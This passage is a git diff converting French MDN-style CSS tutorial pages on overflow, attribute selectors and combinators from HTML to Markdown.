un concept dans le CSS de <strong><i lang="en">Block Formatting Context</i></strong> (BFC). Ce n'est pas quelque chose dont vous devez trop vous préoccuper pour l'instant, mais il est utile de savoir que lorsque vous utilisez une valeur de <code>overflow</code> comme <code>scroll</code> ou <code>auto</code> vous créez un BFC. Le résultat est que le contenu de la boîte pour laquelle vous avez modifié la valeur de <code>overflow</code> devient une mini mise en page à part entière. Les éléments extérieurs au conteneur ne peuvent pas pénétrer dans le conteneur, et rien ne peut sortir de cette boîte pour pénétrer dans la mise en page qui l'entoure. Cela permet d'activer le défilement, car tout le contenu de votre boîte devra être intégré et ne pas chevaucher d'autres éléments de la page afin de créer une expérience de défilement cohérente.</p> +Il existe un concept dans le CSS de **<i lang="en">Block Formatting Context</i>** (BFC). Ce n'est pas quelque chose dont vous devez trop vous préoccuper pour l'instant, mais il est utile de savoir que lorsque vous utilisez une valeur de `overflow` comme `scroll` ou `auto` vous créez un BFC. Le résultat est que le contenu de la boîte pour laquelle vous avez modifié la valeur de `overflow` devient une mini mise en page à part entière. Les éléments extérieurs au conteneur ne peuvent pas pénétrer dans le conteneur, et rien ne peut sortir de cette boîte pour pénétrer dans la mise en page qui l'entoure. Cela permet d'activer le défilement, car tout le contenu de votre boîte devra être intégré et ne pas chevaucher d'autres éléments de la page afin de créer une expérience de défilement cohérente. -<h2 id="unwanted_overflow_in_web_design">Débordements indésirables en web design</h2> +## Débordements indésirables en web design -<p>Les méthodes de mise en page modernes (comme étudiées dans le module <a href="/fr/docs/Learn/CSS/CSS_layout">La mise en page avec le CSS</a>) gèrent très bien le débordement. Elles ont été conçues pour faire face au fait que nous avons tendance à ne pas pouvoir prévoir la quantité de contenu que nous aurons sur le web. Par le passé, les développeurs utilisaient souvent des hauteurs fixes pour aligner le bas des boîtes qui n'avaient pas vraiment de relation entre elles. C'était une méthode fragile et il peut arriver qu'occasionnellement, dans une application ancienne, vous soyez confrontés à une boîte dans laquelle le contenu déborde sur la suite de la page. Si vous observez ce phénomène, vous savez maintenant qu'il s'agit d'un débordement ; idéalement vous devriez remanier la mise en page afin de ne pas avoir à contraindre la taille de la boîte.</p> +Les méthodes de mise en page modernes (comme étudiées dans le module [La mise en page avec le CSS](/fr/docs/Learn/CSS/CSS_layout)) gèrent très bien le débordement. Elles ont été conçues pour faire face au fait que nous avons tendance à ne pas pouvoir prévoir la quantité de contenu que nous aurons sur le web. Par le passé, les développeurs utilisaient souvent des hauteurs fixes pour aligner le bas des boîtes qui n'avaient pas vraiment de relation entre elles. C'était une méthode fragile et il peut arriver qu'occasionnellement, dans une application ancienne, vous soyez confrontés à une boîte dans laquelle le contenu déborde sur la suite de la page. Si vous observez ce phénomène, vous savez maintenant qu'il s'agit d'un débordement ; idéalement vous devriez remanier la mise en page afin de ne pas avoir à contraindre la taille de la boîte. -<p>Lorsque vous développez un site, vous devez toujours garder à l'esprit les problèmes de débordement. Vous devez tester des conceptions avec des quantités de contenu importantes et réduites, augmenter la taille de la police et vous assurer que votre CSS peut s'en sortir de manière efficace. La modification de la valeur d'<code>overflow</code> pour masquer le contenu ou ajouter des barres de défilement ne sera probablement réservée qu'à quelques rares cas particuliers - par exemple lorsque vous voulez spécifiquement une barre de défilement.</p> +Lorsque vous développez un site, vous devez toujours garder à l'esprit les problèmes de débordement. Vous devez tester des conceptions avec des quantités de contenu importantes et réduites, augmenter la taille de la police et vous assurer que votre CSS peut s'en sortir de manière efficace. La modification de la valeur d'`overflow` pour masquer le contenu ou ajouter des barres de défilement ne sera probablement réservée qu'à quelques rares cas particuliers - par exemple lorsque vous voulez spécifiquement une barre de défilement. -<h2 id="test_your_skills!">Testez vos compétences !</h2> +## Testez vos compétences ! -<p>Nous avons couvert beaucoup de choses dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien retenu ces informations avant de partir - voir (en anglais) <a href="/fr/docs/Learn/CSS/Building_blocks/Overflow_Tasks">Testez vos compétences: overflow</a>.</p> +Nous avons couvert beaucoup de choses dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien retenu ces informations avant de partir - voir (en anglais) [Testez vos compétences: overflow](/fr/docs/Learn/CSS/Building_blocks/Overflow_Tasks). -<h2 id="summary">Résumé</h2> +## Résumé -<p>Cette courte leçon a introduit le concept de débordement ; vous comprenez maintenant que le CSS essaie de ne pas faire disparaître le contenu qui déborde car cela entraînerait des pertes de données. Vous avez découvert que vous pouvez gérer un débordement éventuel, et que vous devez également tester votre travail pour vous assurer que vous ne causez pas accidentellement un débordement problématique.</p> +Cette courte leçon a introduit le concept de débordement ; vous comprenez maintenant que le CSS essaie de ne pas faire disparaître le contenu qui déborde car cela entraînerait des pertes de données. Vous avez découvert que vous pouvez gérer un débordement éventuel, et que vous devez également tester votre travail pour vous assurer que vous ne causez pas accidentellement un débordement problématique. -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade et héritage</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">Sélecteurs CSS</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de type, de classe et d'ID</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Sélecteurs d'attributs</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinateurs</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">Le modèle de boîte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arrière-plans et bordures</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Gestion de différentes directions de texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Débordements de contenu</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Valeurs et unités CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Définir la taille des éléments en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, médias et éléments de formulaire</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Mise en page de tableaux</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Débogage de CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organiser votre CSS</a></li> -</ol> +1. [Cascade et héritage](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [Sélecteurs CSS](/fr/docs/Learn/CSS/Building_blocks/Selectors) + + - [Sélecteurs de type, de classe et d'ID](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Sélecteurs d'attributs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinateurs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) + +3. [Le modèle de boîte](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Arrière-plans et bordures](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Gestion de différentes directions de texte](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Débordements de contenu](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Valeurs et unités CSS](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Définir la taille des éléments en CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, médias et éléments de formulaire](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Mise en page de tableaux](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Débogage de CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organiser votre CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.md b/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.md index f56a321023..243de46424 100644 --- a/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.md +++ b/files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.md @@ -4,153 +4,154 @@ slug: Learn/CSS/Building_blocks/Selectors/Attribute_selectors translation_of: Learn/CSS/Building_blocks/Selectors/Attribute_selectors original_slug: Apprendre/CSS/Building_blocks/Selectors/Sélecteurs_d_atrribut --- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}} -<p>Dans l'étude de HTML, nous avons vu les attributs d'un élément. En CSS, on peut utiliser ces attributs pour cibler les éléments. Cette leçon vous montre comment.</p> +Dans l'étude de HTML, nous avons vu les attributs d'un élément. En CSS, on peut utiliser ces attributs pour cibler les éléments. Cette leçon vous montre comment. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Maîtrise élémentaire de l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">suite logicielle de base installée</a>, compétences élémentaires pour <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">travailler avec des fichiers</a>, connaissance de base du HTML (cf. <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction à HTML</a>), et une idée de <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">Comment fonctionne CSS</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Découvrir les sélecteurs d'attribut et comment les utiliser.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Maîtrise élémentaire de l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >suite logicielle de base installée</a + >, compétences élémentaires pour + <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" + >travailler avec des fichiers</a + >, connaissance de base du HTML (cf. + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction à HTML</a + >), et une idée de + <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works" + >Comment fonctionne CSS</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Découvrir les sélecteurs d'attribut et comment les utiliser.</td> + </tr> + </tbody> </table> -<h2 id="Sélecteur_de_présence_et_de_valeur">Sélecteur de présence et de valeur</h2> +## Sélecteur de présence et de valeur -<p>Ces sélecteurs permettent de cibler un élément en fonction de la présence d'un attribut unique (par exemple <code>href</code>), ou sur des correspondances variées avec la valeur d'un attribut donné</p> +Ces sélecteurs permettent de cibler un élément en fonction de la présence d'un attribut unique (par exemple `href`), ou sur des correspondances variées avec la valeur d'un attribut donné <table class="standard-table"> - <thead> - <tr> - <th scope="col">Sélecteur</th> - <th scope="col">Exemple</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>[<em>attr</em>]</code></td> - <td><code>a[title]</code></td> - <td>Cible les éléments avec un attribut du nom de <em>attr</em> — la valeur entre les crochets droits.</td> - </tr> - <tr> - <td><code>[<em>attr</em>=<em>value</em>]</code></td> - <td><code>a[href="https://example.com"]</code></td> - <td>Cible les éléments dont l'attribut <em>attr</em> a la valeur <em>value</em> — la chaîne entre guillemets.</td> - </tr> - <tr> - <td><code>[<em>attr</em>~=<em>value</em>]</code></td> - <td><code>p[class~="special"]</code></td> - <td> - <p>Cible les éléments avec un attribut <em>attr</em> dont la valeur est exactement <em>value</em>, ou les éléments dont l'attribut <em>attr</em> contient une ou plusieurs valeurs, dont au moins une correspond à <em>value</em>.</p> - - <p>Notez que dans une liste de plusieurs valeurs, le séparateur est l'espace.</p> - </td> - </tr> - <tr> - <td><code>[<em>attr</em>|=<em>value</em>]</code></td> - <td><code>div[lang|="zh"]</code></td> - <td>Cible les éléments avec un attribut <em>attr</em> dont la valeur peut être exactement <em>value</em> ou peut commencer par <em>value</em> immédiatement suivie d'un trait d'union.</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Sélecteur</th> + <th scope="col">Exemple</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>[<em>attr</em>]</code></td> + <td><code>a[title]</code></td> + <td> + Cible les éléments avec un attribut du nom de <em>attr</em> — la valeur + entre les crochets droits. + </td> + </tr> + <tr> + <td><code>[<em>attr</em>=<em>value</em>]</code></td> + <td><code>a[href="https://example.com"]</code></td> + <td> + Cible les éléments dont l'attribut <em>attr</em> a la valeur + <em>value</em> — la chaîne entre guillemets. + </td> + </tr> + <tr> + <td><code>[<em>attr</em>~=<em>value</em>]</code></td> + <td><code>p[class~="special"]</code></td> + <td> + <p> + Cible les éléments avec un attribut <em>attr</em> dont la valeur est + exactement <em>value</em>, ou les éléments dont l'attribut + <em>attr</em> contient une ou plusieurs valeurs, dont au moins une + correspond à <em>value</em>. + </p> + <p> + Notez que dans une liste de plusieurs valeurs, le séparateur est + l'espace. + </p> + </td> + </tr> + <tr> + <td><code>[<em>attr</em>|=<em>value</em>]</code></td> + <td><code>div[lang|="zh"]</code></td> + <td> + Cible les éléments avec un attribut <em>attr</em> dont la valeur peut + être exactement <em>value</em> ou peut commencer par + <em>value</em> immédiatement suivie d'un trait d'union. + </td> + </tr> + </tbody> </table> -<p>Dans l'exemple ci-dessous vous voyez ces sélecteurs en action :</p> +Dans l'exemple ci-dessous vous voyez ces sélecteurs en action : -<ul> - <li>Avec <code>li[class]</code> on cible tout élément <code><li></code> possédant un attribut <code>class</code>. On cible ainsi tous les éléments de la liste sauf le premier.</li> - <li><code>li[class="a"]</code> cible les <code><li></code> appartenant à la classe <code>a</code> et seulement elle. Un élément <code><li></code> dans la classe <code>a</code> mais aussi dans une autre classe ne sera pas sélectionné. Ce sélecteur cible le deuxième item de la liste.</li> - <li><code>li[class~="a"]</code> cible tout élément <code><li></code> dont l'attribut <code>class</code> contient <code>a</code> dans sa liste de valeurs (séparées par des espaces). Les items deux et trois de la liste sont sélectionnés.</li> -</ul> +- Avec `li[class]` on cible tout élément `<li>` possédant un attribut `class`. On cible ainsi tous les éléments de la liste sauf le premier. +- `li[class="a"]` cible les `<li>` appartenant à la classe `a` et seulement elle. Un élément `<li>` dans la classe `a` mais aussi dans une autre classe ne sera pas sélectionné. Ce sélecteur cible le deuxième item de la liste. +- `li[class~="a"]` cible tout élément `<li>` dont l'attribut `class` contient `a` dans sa liste de valeurs (séparées par des espaces). Les items deux et trois de la liste sont sélectionnés. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute.html", '100%', 800)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/attribute.html", '100%', 800)}} -<h2 id="Sélecteurs_ciblant_une_sous-chaîne">Sélecteurs ciblant une sous-chaîne </h2> +## Sélecteurs ciblant une sous-chaîne -<p>Ces sélecteurs permettent une sélection plus fine des sous-chaînes à l'intérieur de la valeur de l'attribut. Par exemple, vous avez défini des classes <code>box-warning</code> et <code>box-error</code>, vous voulez cibler les classes dont le nom commence par "box-". Le sélecteur d'attribut <code>[class ^= "box-"]</code> est là pour ça.</p> +Ces sélecteurs permettent une sélection plus fine des sous-chaînes à l'intérieur de la valeur de l'attribut. Par exemple, vous avez défini des classes `box-warning` et `box-error`, vous voulez cibler les classes dont le nom commence par "box-". Le sélecteur d'attribut `[class ^= "box-"]` est là pour ça. -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Sélecteur</th> - <th scope="col">Exemple</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>[<em>attr</em>^=<em>value</em>]</code></td> - <td><code>li[class^="box-"]</code></td> - <td>élément sélectionné quand la valeur <em>value</em> de l'attribut <em>attr </em>commence par la sous-chaîne <em>value.</em></td> - </tr> - <tr> - <td><code>[<em>attr</em>$=<em>value</em>]</code></td> - <td><code>li[class$="-box"]</code></td> - <td>élément sélectionné quand la valeur de l'attribut <em>attr </em>finit par la sous-chaîne<em> value.</em> </td> - </tr> - <tr> - <td><code>[<em>attr</em>*=value<em> </em>]</code></td> - <td><code>li[class*="box"]</code></td> - <td>élément sélectionné quand la<br> - la sous-chaîne <em>value </em>apparaît quelque part dans la valeur de l'attribut <em>attr.</em></td> - </tr> - </tbody> -</table> +| Sélecteur | Exemple | Description | +| ---------------- | ------------------- | -------------------------------------------------------------------------------------------------------------- | +| `[attr^=value]` | `li[class^="box-"]` | élément sélectionné quand la valeur _value_ de l'attribut _attr_ commence par la sous-chaîne _value._ | +| `[attr$=value]` | `li[class$="-box"]` | élément sélectionné quand la valeur de l'attribut _attr_ finit par la sous-chaîne _value._ | +| `[attr*=value ]` | `li[class*="box"]` | élément sélectionné quand la la sous-chaîne _value_ apparaît quelque part dans la valeur de l'attribut _attr._ | + +L'exemple suivant montre ces sélecteurs en action : + +- `li[class^="a"]` correspond à toute valeur d'attribut commençant par un _a,_ ce sélecteur cible donc les deux premiers items de la liste. +- `li[class$="a"]` correspond à toute valeur d'attribut finissant par un _a,_ ce sélecteur cible donc les items un et trois de la liste. +- `li[class*="a"]` correspond à toute valeur d'attribut contenant quelque part un _a,_ ce sélecteur cible donc tous les items de la liste. -<p>L'exemple suivant montre ces sélecteurs en action :</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-substring.html", '100%', 800)}} -<ul> - <li><code>li[class^="a"]</code> correspond à toute valeur d'attribut commençant par un <em>a,</em> ce sélecteur cible donc les deux premiers items de la liste.</li> - <li><code>li[class$="a"]</code> correspond à toute valeur d'attribut finissant par un <em>a,</em> ce sélecteur cible donc les items un et trois de la liste.</li> - <li><code>li[class*="a"]</code> correspond à toute valeur d'attribut contenant quelque part un <em>a,</em> ce sélecteur cible donc tous les items de la liste.</li> -</ul> +## Sensibilité à la casse -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-substring.html", '100%', 800)}}</p> +Pour cibler des valeurs d'attribut sans prendre en compte la casse (majuscule ou minuscule indifférentes), ajoutez la valeur `i` avant le crochet fermant. Ce drapeau signale au navigateur d'identifier les caractères ASCII sans se préoccuper de la casse (_a_ = _A_). Sans le drapeau `i`, les valeurs seront identifiées selon la sensibilité à la casse de la langue du document — HTML est sensible à la casse. -<h2 id="Sensibilité_à_la_casse">Sensibilité à la casse</h2> +Dans l'exemple ci-dessous, le premier sélecteur cible les valeurs commençant par un `a` — seul le premier élément de la liste est ciblé, les deux suivants commencent par un A majuscule. Le second sélecteur est marqué du drapeau _insensible à la casse,_ il cible donc tous les éléments de la liste. -<p>Pour cibler des valeurs d'attribut sans prendre en compte la casse (majuscule ou minuscule indifférentes), ajoutez la valeur <code>i</code> avant le crochet fermant. Ce drapeau signale au navigateur d'identifier les caractères ASCII sans se préoccuper de la casse (<em>a</em> = <em>A</em>). Sans le drapeau <code>i</code>, les valeurs seront identifiées selon la sensibilité à la casse de la langue du document — HTML est sensible à la casse.</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}} -<p>Dans l'exemple ci-dessous, le premier sélecteur cible les valeurs commençant par un <code>a</code> — seul le premier élément de la liste est ciblé, les deux suivants commencent par un A majuscule. Le second sélecteur est marqué du drapeau <em>insensible à la casse, </em>il cible donc tous les éléments de la liste.</p> +> **Note :** Dans des contextes normalement insensibles à la casse, on peut forcer la sensibilité avec la valeur `s` nouvellement introduite, mais sa prise en charge par les navigateurs est inégale ; elle n'est pas très utile dans un contexte HTML. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}</p> +## Pas suivants -<div class="note"> -<p><strong>Note :</strong> Dans des contextes normalement insensibles à la casse, on peut forcer la sensibilité avec la valeur <code>s</code> nouvellement introduite, mais sa prise en charge par les navigateurs est inégale ; elle n'est pas très utile dans un contexte HTML.</p> -</div> +Nous en avons fini avec les sélecteurs d'attribut, vous pouvez maintenant continuer la visite et passer aux [sélecteurs de pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements). -<h2 id="Pas_suivants">Pas suivants</h2> +{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}} -<p>Nous en avons fini avec les sélecteurs d'attribut, vous pouvez maintenant continuer la visite et passer aux <a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">sélecteurs de pseudo-classes et pseudo-éléments</a>.</p> +## Dans ce cours -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p> +1. [Cascade et héritage](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [Sélecteurs CSS](/fr/docs/Learn/CSS/Building_blocks/Selectors) -<h2 id="Dans_ce_cours">Dans ce cours</h2> + - [Sélecteurs de classe, de type et d'identifiant](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - Sélecteurs d'attribut + - [Pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinateurs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade et héritage</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">Sélecteurs CSS</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de classe, de type et d'identifiant</a></li> - <li>Sélecteurs d'attribut</li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinateurs</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">Le modèle de boîte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arrières-plans et bordures</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Gérer la directionnalité du texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Le dépassement du contenu</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Valeurs et unités</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Dimensionnement des objets en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, médias, et formulaires</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Mettre en forme les tableaux</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Déboguer CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organiser son code CSS</a></li> -</ol> +3. [Le modèle de boîte](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. [Arrières-plans et bordures](/fr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders) +5. [Gérer la directionnalité du texte](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Le dépassement du contenu](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Valeurs et unités](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Dimensionnement des objets en CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, médias, et formulaires](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Mettre en forme les tableaux](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Déboguer CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organiser son code CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/selectors/combinators/index.md b/files/fr/learn/css/building_blocks/selectors/combinators/index.md index ecef10ea21..7bbafe2f86 100644 --- a/files/fr/learn/css/building_blocks/selectors/combinators/index.md +++ b/files/fr/learn/css/building_blocks/selectors/combinators/index.md @@ -8,108 +8,134 @@ tags: translation_of: Learn/CSS/Building_blocks/Selectors/Combinators original_slug: Apprendre/CSS/Building_blocks/Selectors/Combinateurs --- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}</p> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}} -<p>Les derniers sélecteurs que nous allons étudier sont appelés combinateurs, car ils combinent différents sélecteurs de façon à leur donner une relation utile et l'emplacement du contenu dans le document.</p> +Les derniers sélecteurs que nous allons étudier sont appelés combinateurs, car ils combinent différents sélecteurs de façon à leur donner une relation utile et l'emplacement du contenu dans le document. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Connaissances informatiques de base, <a href="/fr/docs/https://developer.mozilla.org/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">les outils de base installés</a>, connaissance de base de <a href="/fr/docs/https://developer.mozilla.org/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">gestion des fichiers</a>, les bases du HTML (voir <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a>), et une idée du fonctionnement du CSS (voir <a href="/fr/docs/https://developer.mozilla.org/fr/docs/Learn/CSS/First_steps">Premiers pas avec CSS</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>En savoir plus sur les différents sélecteurs combinateurs utilisables en CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Connaissances informatiques de base, + <a + href="/fr/docs/https://developer.mozilla.org/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >les outils de base installés</a + >, connaissance de base de + <a + href="/fr/docs/https://developer.mozilla.org/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" + >gestion des fichiers</a + >, les bases du HTML (voir <a + href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >Introduction au HTML</a + >), et une idée du fonctionnement du CSS (voir + <a + href="/fr/docs/https://developer.mozilla.org/fr/docs/Learn/CSS/First_steps" + >Premiers pas avec CSS</a + >.) + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + En savoir plus sur les différents sélecteurs combinateurs utilisables en + CSS. + </td> + </tr> + </tbody> </table> -<h2 id="Combinateur_descendant">Combinateur descendant</h2> +## Combinateur descendant -<p>Le <strong>combinateur descendant</strong>— en général représenté par un seul espace (<code> </code>) — combine deux sélecteurs de sorte que les éléments choisis par le second sélecteur sont sélectionnés s'ils ont un élément ancêtre (parent, parent de parent, parent de parent de parent, etc...) qui correspond au premier sélecteur. Les sélecteurs qui utilisent un combinateur descendant sont appelés sélecteurs descendants.</p> +Le **combinateur descendant**— en général représenté par un seul espace (` `) — combine deux sélecteurs de sorte que les éléments choisis par le second sélecteur sont sélectionnés s'ils ont un élément ancêtre (parent, parent de parent, parent de parent de parent, etc...) qui correspond au premier sélecteur. Les sélecteurs qui utilisent un combinateur descendant sont appelés sélecteurs descendants. -<pre class="brush: css">body article p -</pre> +```css +body article p +``` -<p>Dans l'exemple ci-dessous, nous ne sélectionnons que l'élément <code><p></code>, qui est à l'intérieur d'un élément de classe <code>.box</code>.</p> +Dans l'exemple ci-dessous, nous ne sélectionnons que l'élément `<p>`, qui est à l'intérieur d'un élément de classe `.box`. -<p>{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}</p> +{{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}} -<h2 id="Combinateur_enfant">Combinateur enfant</h2> +## Combinateur enfant -<p>Le combinateur enfant (<code>></code>) est placé entre deux sélecteurs CSS. Il correspond uniquement aux éléments correspondant au second sélecteur qui sont les enfants directs des éléments correspondants au premier. Les éléments descendants plus bas dans la hiérarchie ne correspondent pas. Par exemple, pour sélectionner uniquement les éléments <code><p></code> qui sont des enfants directs des éléments <code><article></code>:</p> +Le combinateur enfant (`>`) est placé entre deux sélecteurs CSS. Il correspond uniquement aux éléments correspondant au second sélecteur qui sont les enfants directs des éléments 